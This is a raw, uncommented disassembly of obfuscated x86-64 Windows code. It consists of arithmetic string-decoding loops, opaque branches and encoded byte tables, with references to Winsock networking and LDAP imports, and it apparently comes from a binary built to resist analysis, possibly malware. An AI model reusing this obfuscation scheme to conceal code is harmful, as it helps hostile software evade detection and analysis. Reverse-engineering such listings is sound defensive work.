and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x1e
dec rdi
inc rdi
jmp 0x1400b4ee2
add r10b, 0x70
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x10
inc r9
dec rdi
inc rdi
jmp 0x1400b4ee2
lea ecx, [r10 + 0x6e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 2
jmp 0x1400b58bb
lea rax, [r9 + 0x7a]
cmp r8, rax
jae 0x1400b552f
lea ecx, [r10 - 0x7f]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
add bl, 0x79
jmp 0x1400b53c4
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400b5565
add r10b, 0x2a
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x26
movzx eax, byte [rbp + rdi + 0x3b8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400b4ee2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400b5588
lea ecx, [r10 + 0x2e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x42
jmp 0x1400b5955
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400b55ad
add r10b, 0x32
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x5e
jmp 0x1400b5923
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400b55d0
lea ecx, [r10 + 0x34]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x6c
jmp 0x1400b5901
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400b55fb
add r10b, 0x36
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x7a
dec rdi
inc rdi
jmp 0x1400b4ee2
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400b53c4
lea edx, [r10 + 0x3a]
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
jmp 0x1400b58bb
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400b564b
lea edx, [r10 - 0x41]
movzx eax, r11b
and al, dl
add al, al
movzx ebx, r11b
sub bl, al
sub bl, 0x39
add bl, dl
jmp 0x1400b58bb
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400b5676
sub r10b, 0x3d
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
sub bl, 0x55
dec rdi
inc rdi
jmp 0x1400b4ee2
cmp r8, rcx
jne 0x1400b5697
sub r10b, 0x37
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
sub bl, 0x7f
jmp 0x1400b5926
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400b56bc
lea edx, [r10 - 0x35]
movzx eax, r11b
and al, dl
add al, al
movzx ebx, r11b
sub bl, al
add bl, 0x73
add bl, dl
jmp 0x1400b5955
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400b5379
sub r10b, 0x31
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
add bl, 0x57
movzx eax, byte [rbp + rdi + 0x3b8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400b4ee2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400b572c
add r10b, 0x54
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
sub bl, 0x4c
movzx eax, byte [rbp + rdi + 0x3b8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400b4ee2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400b5751
lea edx, [r10 + 0x58]
movzx eax, r11b
and al, dl
add al, al
movzx ebx, r11b
sub bl, al
sub bl, 0x68
add bl, dl
jmp 0x1400b5955
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400b577a
add r10b, 0x5c
movzx eax, r11b
and al, r10b
mov ecx, 0x3e
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, r10b
jmp 0x1400b5923
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400b57a1
lea edx, [r10 + 0x5e]
movzx eax, r11b
and al, dl
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, dl
jmp 0x1400b5901
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400b57d0
add r10b, 0x60
movzx eax, r11b
and al, r10b
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, r10b
dec rdi
inc rdi
jmp 0x1400b4ee2
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400b533c
lea edx, [r10 + 0x64]
movzx eax, r11b
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, dl
jmp 0x1400b58bb
lea edx, [r10 + 0x68]
movzx eax, r11b
and al, dl
movzx ecx, r11b
sub cl, al
add cl, 0x14
lea ebx, [rcx + rcx]
add bl, dl
jmp 0x1400b5901
lea edx, [r10 + 0x6a]
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
jmp 0x1400b5955
sub r10b, 0x61
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x59
jmp 0x1400b5923
lea ecx, [r10 - 0x63]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x4b
jmp 0x1400b5901
sub r10b, 0x65
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x3d
dec rdi
inc rdi
jmp 0x1400b4ee2
lea ecx, [r10 - 0x69]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x21
jmp 0x1400b58bb
movzx r10d, dil
lea ecx, [r10 - 0x6d]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 5
sub r10b, 0x19
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
sub r11b, 0x51
add r11b, r10b
mov byte [rbp + rdi + 0x3b8], r11b
inc r9
dec rdi
inc rdi
jmp 0x1400b4ee2
movzx r10d, dil
lea ecx, [r10 - 0x73]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
add bl, 0x25
sub r10b, 0x17
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
sub r11b, 0x5f
add r11b, bl
add r11b, r10b
mov byte [rbp + rdi + 0x3b8], r11b
add r8, r9
movzx eax, bl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400b4ee2
lea rcx, [rdi + r15]
and dl, cl
add dl, dl
movzx ebx, r11b
sub bl, dl
add bl, 0x4f
add bl, cl
movzx r10d, dil
sub r10b, 0x15
movzx eax, r11b
and al, r10b
add al, al
movzx ecx, r11b
sub cl, al
sub cl, 0x6d
add cl, r10b
movzx eax, cl
mov byte [rbp + rdi + 0x3b8], al
inc r9
add rax, r9
sub rdi, rax
lea edx, [rdi + 0x6c]
movzx eax, r11b
and al, dl
mov ecx, 6
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
mov byte [rbp + rdi + 0x3b8], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0x3b8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400b4ee2
lea rax, [rdi + r14]
and dl, al
add dl, dl
sub r11b, dl
lea ebx, [rax + r11]
add bl, 0x6b
movzx eax, byte [rbp + rdi + 0x3b8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400b4ee2
add r10b, 5
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
sub bl, 0x23
jmp 0x1400b4ee0
add r10b, 3
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
sub bl, 0x15
jmp 0x1400b4ed0
lea rsi, [rbp + 0x1676664]
jmp 0x1400b5a3e
lea rsi, [rbp + 0x602fe5]
jmp 0x1400b5a3e
lea rsi, [rbp + 0x3b8]
mov byte [rbp + 0x6c0], 0x5a
mov byte [rbp + 0x6c1], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0x6c2], Ordinal_45
mov byte [rbp + 0x6c3], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0x6c4], Ordinal_45
mov byte [rbp + 0x6c5], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0x6c6], 0x90
mov byte [rbp + 0x6c7], gethostname
mov byte [rbp + 0x6c8], 0x3f
mov byte [rbp + 0x6c9], reloc.WLDAP32.dll_Ordinal_35
mov byte [rbp + 0x6ca], Ordinal_143
mov byte [rbp + 0x6cb], reloc.WLDAP32.dll_Ordinal_32
mov byte [rbp + 0x6cc], Ordinal_45
mov byte [rbp + 0x6cd], 0x3e
mov byte [rbp + 0x6ce], Ordinal_60
mov byte [rbp + 0x6cf], 0x3e
mov byte [rbp + 0x6d0], 0x86
mov byte [rbp + 0x6d1], 0x57
mov byte [rbp + 0x6d2], 0x3f
mov byte [rbp + 0x6d3], Ordinal_41
mov byte [rbp + 0x6d4], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0x6d5], Ordinal_50
mov byte [rbp + 0x6d6], 0x80
mov byte [rbp + 0x6d7], 0xa4
mov byte [rbp + 0x6d8], Ordinal_217
mov byte [rbp + 0x6d9], Ordinal_211
mov byte [rbp + 0x6da], Ordinal_200
mov byte [rbp + 0x6db], Ordinal_217
mov byte [rbp + 0x6dc], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x6dd], Ordinal_200
mov byte [rbp + 0x6de], 0xcc
mov byte [rbp + 0x6df], 0x61
mov byte [rbp + 0x6e0], 0xa9
mov byte [rbp + 0x6e1], 0xdb
mov byte [rbp + 0x6e2], Ordinal_211
mov byte [rbp + 0x6e3], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x6e4], Ordinal_217
mov byte [rbp + 0x6e5], 0xc0
mov byte [rbp + 0x6e6], 0xdb
mov byte [rbp + 0x6e7], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x6e8], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x6e9], Ordinal_200
mov byte [rbp + 0x6ea], Ordinal_200
mov byte [rbp + 0x6eb], Ordinal_200
mov byte [rbp + 0x6ec], Ordinal_211
mov byte [rbp + 0x6ed], 0xdb
mov byte [rbp + 0x6ee], Ordinal_200
mov byte [rbp + 0x6ef], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x6f0], 0xc1
mov byte [rbp + 0x6f1], 0x65
mov byte [rbp + 0x6f2], Ordinal_211
mov byte [rbp + 0x6f3], Ordinal_211
mov byte [rbp + 0x6f4], Ordinal_217
mov byte [rbp + 0x6f5], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x6f6], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0x6f7], 0x5f
mov byte [rbp + 0x6f8], 0xe1
mov byte [rbp + 0x6f9], 0xef
mov byte [rbp + 0x6fa], 0x5c
mov byte [rbp + 0x6fb], 0xe4
mov byte [rbp + 0x6fc], 0xee
mov byte [rbp + 0x6fd], 0xf5
mov byte [rbp + 0x6fe], 0xe3
mov byte [rbp + 0x6ff], 0xf9
mov byte [rbp + 0x700], 0xe4
mov byte [rbp + 0x701], 0xea
mov byte [rbp + 0x702], 0xf8
mov byte [rbp + 0x703], 0xe8
mov byte [rbp + 0x704], 0x52
mov byte [rbp + 0x705], 0xee
mov byte [rbp + 0x706], 0xed
mov byte [rbp + 0x707], 0xf2
mov byte [rbp + 0x708], 0xff
mov byte [rbp + 0x709], 0xe6
mov byte [rbp + 0x70a], 0xfe
mov byte [rbp + 0x70b], 0xe7
mov byte [rbp + 0x70c], 0xab
mov byte [rbp + 0x70d], 0x5f
mov byte [rbp + 0x70e], __WSAFDIsSet
mov byte [rbp + 0x70f], 0xef
mov byte [rbp + 0x710], 0xea
mov byte [rbp + 0x711], 0xfe
mov byte [rbp + 0x712], 0xea
mov byte [rbp + 0x713], 0xf1
mov byte [rbp + 0x714], 0xfd
mov byte [rbp + 0x715], 0xf5
mov byte [rbp + 0x716], 0x40
mov byte [rbp + 0x717], 0xe4
mov byte [rbp + 0x718], __WSAFDIsSet
mov byte [rbp + 0x719], Ordinal_143
mov byte [rbp + 0x71a], 0x88
mov byte [rbp + 0x71b], Ordinal_143
mov byte [rbp + 0x71c], Ordinal_143
mov byte [rbp + 0x71d], __WSAFDIsSet
mov byte [rbp + 0x71e], __WSAFDIsSet
mov byte [rbp + 0x71f], gethostname
mov byte [rbp + 0x720], Ordinal_143
mov byte [rbp + 0x721], 0x9b
mov byte [rbp + 0x722], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0x723], gethostname
mov byte [rbp + 0x724], 0x81
mov byte [rbp + 0x725], 0x9a
mov byte [rbp + 0x726], Ordinal_143
mov byte [rbp + 0x727], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0x728], reloc.WLDAP32.dll_Ordinal_46
mov byte [rbp + 0x729], 0x83
mov byte [rbp + 0x72a], 0x9b
mov byte [rbp + 0x72b], 0x86
mov byte [rbp + 0x72c], 0x9f
mov byte [rbp + 0x72d], 0x9e
mov byte [rbp + 0x72e], __WSAFDIsSet
mov byte [rbp + 0x72f], Ordinal_143
mov byte [rbp + 0x730], Ordinal_41
mov byte [rbp + 0x731], 0x9f
mov byte [rbp + 0x732], __WSAFDIsSet
mov byte [rbp + 0x733], Ordinal_143
mov byte [rbp + 0x734], Ordinal_35
mov byte [rbp + 0x735], 0x9f
mov byte [rbp + 0x736], 0x9f
mov byte [rbp + 0x737], 0xad
mov byte [rbp + 0x738], 0xb3
mov byte [rbp + 0x739], Ordinal_30
mov byte [rbp + 0x73a], 0xb5
mov byte [rbp + 0x73b], 0xa3
mov byte [rbp + 0x73c], 0xa1
mov byte [rbp + 0x73d], 0xab
mov byte [rbp + 0x73e], Ordinal_30
mov byte [rbp + 0x73f], 0xaa
mov byte [rbp + 0x740], 0xa7
mov byte [rbp + 0x741], 0xa6
mov byte [rbp + 0x742], 0xa4
mov byte [rbp + 0x743], 0xac
mov byte [rbp + 0x744], 0xbc
mov byte [rbp + 0x745], 0xaa
mov byte [rbp + 0x746], 0xac
mov byte [rbp + 0x747], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x748], 0xa2
mov byte [rbp + 0x749], 0xbc
mov byte [rbp + 0x74a], recv
mov byte [rbp + 0x74b], Ordinal_217
mov byte [rbp + 0x74c], 0xdd
mov byte [rbp + 0x74d], 9
mov byte [rbp + 0x74e], 0xb5
mov byte [rbp + 0x74f], 0xbf
mov byte [rbp + 0x750], 0xbd
mov byte [rbp + 0x751], 0xba
mov byte [rbp + 0x752], 0xa8
mov byte [rbp + 0x753], 0xae
mov byte [rbp + 0x754], 2
mov byte [rbp + 0x755], 0xb5
mov byte [rbp + 0x756], 0xb7
mov byte [rbp + 0x757], Ordinal_79
mov byte [rbp + 0x758], 0x45
mov byte [rbp + 0x759], 0xfd
mov byte [rbp + 0x75a], reloc.WLDAP32.dll_Ordinal_46
mov byte [rbp + 0x75b], 0x40
mov byte [rbp + 0x75c], 0x5c
mov byte [rbp + 0x75d], 0x52
mov byte [rbp + 0x75e], 0x56
mov byte [rbp + 0x75f], 0xf7
mov byte [rbp + 0x760], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0x761], Ordinal_35
mov byte [rbp + 0x762], 0xf4
mov byte [rbp + 0x763], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x764], Ordinal_30
mov byte [rbp + 0x765], 3
mov byte [rbp + 0x766], Ordinal_211
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x767], xmm0
mov qword [rbp + 0x777], rax
mov dword [rbp + 0x77f], eax
movabs r14, 0xb42a765bf2aa0169
movabs r15, 0x557e293b87fa0cb1
movabs r13, 0xed293c83a2a609df
movabs r12, 0x1c7f6313d7fe043b
movzx edx, byte [rsp + 0x30]
nop word [rax + rax]
mov r8, qword [0x14023d108]
mov r9, qword [0x14023d100]
nop
xor ebx, ebx
cmp rbx, 0xc3
jae 0x1400b6ac5
movzx r11d, byte [rbp + rbx + 0x6c0]
mov edi, r11d
nop dword [rax + rax]
cmp r8, rbx
ja 0x1400b6abc
lea rcx, [r9 + 1]
cmp r8, rcx
jae 0x1400b5f7b
lea rcx, [rbx + r14]
mov rax, rdi
and rax, rcx
imul rdx, rax, 0xfffffffffffffffe
add rdx, rdi
add rdx, rcx
add dl, 0x21
jmp 0x1400b5fcf
je 0x1400b6a51
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400b69cc
lea rax, [rcx + 1]
cmp r8, rax
je 0x1400b69a0
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400b6987
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400b6947
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400b6928
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400b68e2
movzx r10d, bl
cmp r9, rbx
ja 0x1400b6ab3
lea rax, [r9 + 8]
cmp r8, rax
jae 0x1400b5ffc
lea ecx, [r10 - 0x63]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x4b
jmp 0x1400b6050
lea rcx, [r9 + 1]
cmp r8, rcx
je 0x1400b68cb
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400b68a9
lea rax, [rcx + 1]
cmp r8, rax
je 0x1400b688b
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400b6871
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400b6855
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400b6829
nop word [rax + rax]
lea rax, [r8 + r9]
cmp rax, rbx
jbe 0x1400b659f
nop dword [rax]
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x1400b6582
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400b6559
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x1400b6537
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400b651d
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400b64fa
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1400b64da
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x1400b64c0
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1400b64a4
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x1400b6473
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400b6060
lea r8, [r9 + 3]
lea r9, [r8 + 0x200]
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x1400b6a97
lea rax, [r9 + 2]
cmp r8, rax
jb 0x1400b6a7b
lea rcx, [r9 + 0x41]
cmp r8, rcx
jb 0x1400b6240
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x1400b6226
lea rax, [r9 + 6]
cmp r8, rax
jb 0x1400b620c
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x1400b6429
lea rax, [r9 + 5]
cmp r8, rax
jb 0x1400b63e6
lea rax, [r9 + 1]
cmp r8, rax
jb 0x1400b63ac
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x1400b6386
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x1400b6060
mov r8, rcx
lea r9, [rcx + 0x61]
lea rax, [r9 + 0x400]
cmp rcx, rax
ja 0x1400b6359
lea rax, [r9 + 6]
cmp rcx, rax
ja 0x1400b633d
lea rcx, [r9 + 2]
cmp r8, rcx
ja 0x1400b6320
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x1400b6300
lea rax, [r9 + 1]
cmp r8, rax
ja 0x1400b62e1
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x1400b62c7
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x1400b62a1
lea rax, [r9 + 5]
cmp r8, rax
ja 0x1400b6278
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x1400b625c
lea rax, [r9 + 4]
cmp r8, rax
ja 0x1400b6060
mov r8, rcx
lea r9, [rcx + 0x2a]
jmp 0x1400b6060
lea ecx, [r10 + 3]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x15
jmp 0x1400b6050
lea ecx, [r10 + 0x31]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x57
jmp 0x1400b5fd3
add r10b, 0x5f
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x67
jmp 0x1400b5f50
lea edx, [r10 - 0x18]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x58
add dl, cl
jmp 0x1400b68fb
add r10b, 0x16
movzx eax, r11b
and al, r10b
mov ecx, 0x33
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
inc r9
dec rbx
inc rbx
jmp 0x1400b5f32
add r10b, 0x44
movzx eax, r11b
and al, r10b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
dec rbx
inc rbx
jmp 0x1400b5f32
lea ecx, [r10 + 0x72]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x1e
jmp 0x1400b6960
sub r10b, 0x60
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x60
add r8, r9
jmp 0x1400b69b4
sub r10b, 0x32
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400b69b4
lea edx, [r10 - 4]
movzx eax, dl
and al, r11b
mov ecx, recv
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400b69e6
add r10b, 0x2a
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x26
jmp 0x1400b6a11
add r10b, 0x58
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x68
movzx eax, byte [rbp + rbx + 0x6c0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400b5f32
add r10b, 0x4b
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0xd
mov byte [rbp + rbx + 0x6c0], dl
inc rbx
jmp 0x1400b5f32
lea ecx, [r10 + 0x79]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x4f
cmp r9, 4
jb 0x1400b639d
lea ecx, [r10 - 0x2a]
movzx eax, cl
and al, r11b
mov edx, reloc.WS2_32.dll_send
sub dl, al
add dl, dl
add dl, cl
add dl, r11b
add dl, dl
jmp 0x1400b68fb
lea ecx, [r10 - 0x59]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x6f
cmp r8, 0x2a
jae 0x1400b67f7
lea rax, [r9 + 0x41]
cmp r8, rax
jbe 0x1400b674c
lea ecx, [r10 - 0x5e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x6e
jmp 0x1400b63c1
lea ecx, [r10 - 0x2b]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x2d
lea rax, [r8 + r9]
cmp rax, 0x61
je 0x1400b6813
lea rax, [r9 + 0x400]
cmp r8, rax
jbe 0x1400b6693
lea ecx, [r10 + 5]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x23
jmp 0x1400b63fb
sub r10b, 0x52
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_35
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
movzx eax, byte [rbp + rbx + 0x6c0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400b5f32
sub r10b, 0x24
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 4
jmp 0x1400b6a11
lea ecx, [r10 + 0xa]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x46
jmp 0x1400b69e6
add r10b, 0x38
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400b69b4
add r10b, 0x66
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
add r8, r9
jmp 0x1400b69b4
lea ecx, [r10 - 0x6c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0xc
jmp 0x1400b6960
sub r10b, 0x3e
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x4e
dec rbx
inc rbx
jmp 0x1400b5f32
sub r10b, 0x10
movzx eax, r10b
and al, r11b
mov ecx, gethostname
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
inc r9
dec rbx
inc rbx
jmp 0x1400b5f32
lea edx, [r10 + 0x1e]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400b68fb
lea rax, [r9 + 0x40]
cmp r8, rax
jae 0x1400b65c2
lea ecx, [r10 + 0x69]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x21
jmp 0x1400b643e
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400b65fc
add r10b, 0x3a
movzx eax, r10b
and al, r11b
mov ecx, gethostname
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
movzx eax, byte [rbp + rbx + 0x6c0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400b5f32
inc rax
cmp r8, rax
jne 0x1400b6620
add r10b, 0xc
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x54
jmp 0x1400b6a11
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400b6643
lea ecx, [r10 - 0x22]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x12
jmp 0x1400b69e6
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400b666c
sub r10b, 0x50
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_26
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400b69b4
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400b643e
lea ecx, [r10 + 0x54]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x4c
jmp 0x1400b6960
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400b66b6
lea ecx, [r10 - 0x29]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x1f
jmp 0x1400b68fb
inc rax
cmp r8, rax
jne 0x1400b66d8
lea ecx, [r10 + 0x4d]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x1b
jmp 0x1400b6960
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400b6700
add r10b, 0x1f
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x27
add r8, r9
jmp 0x1400b69b4
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400b6725
sub r10b, 0xf
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x69
jmp 0x1400b69b4
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400b63fb
lea ecx, [r10 - 0x3d]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x55
jmp 0x1400b69e6
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400b6782
add r10b, 0x74
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x2c
movzx eax, byte [rbp + rbx + 0x6c0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400b5f32
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400b67a8
lea edx, [r10 + 0x18]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_45
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400b69e6
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400b67cd
sub r10b, 0x16
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x66
jmp 0x1400b69b4
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400b63c1
lea edx, [r10 - 0x72]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400b6960
lea edx, [r10 - 0x58]
